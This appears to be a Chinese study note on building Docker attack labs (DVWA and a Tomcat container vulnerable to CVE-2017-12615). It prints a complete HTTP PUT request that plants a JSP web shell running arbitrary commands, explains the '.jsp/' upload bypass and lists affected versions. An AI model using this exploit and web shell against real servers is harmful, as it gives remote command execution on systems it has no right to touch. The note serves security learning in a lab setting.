一、PHP攻防环境
1. DVWA
docker pull sagikazarmark/dvwa
docker run -d -p 8080:80 -p 33060:3306 sagikazarmark/dvwa
2. Tomcat
docker search CVE-2017-12615
docker pull docker.io/cved/cve-2017-12615
docker run -d -p 8081:8080 docker.io/cved/cve-2017-12615
docker exec -it containerId bash
代码
PUT /shell.jsp/ HTTP/1.1
Host: 43.136.41.84:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 302
<%
if("magedu".equals(request.getParameter("pwd"))){
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
效果图
docker exec -it 773003f67f3c bash
漏洞原理
cat /usr/local/tomcat/conf/web.xml
tomcat本身不允许上传.jsp文件,.jsp/黑名单绕过 上传,然后保存格式.jsp
蚁剑
Tomcat总结
tomcat、shell、蚁剑的关系:
1、因为tomcat存在漏洞,所以可以上传shell
2、能保存是因为系统不允许以/作为后缀名
Tomcat版本:7.0.0-7.0.79、8.5.19
POC: 一段漏洞利用证明的代码
EXP: 利用系统漏洞进行攻击的动作
pauload: 有效载荷,是指攻击成功后,真正在目标系统上执行的代码或指令
RCE: 远程命令/代码执行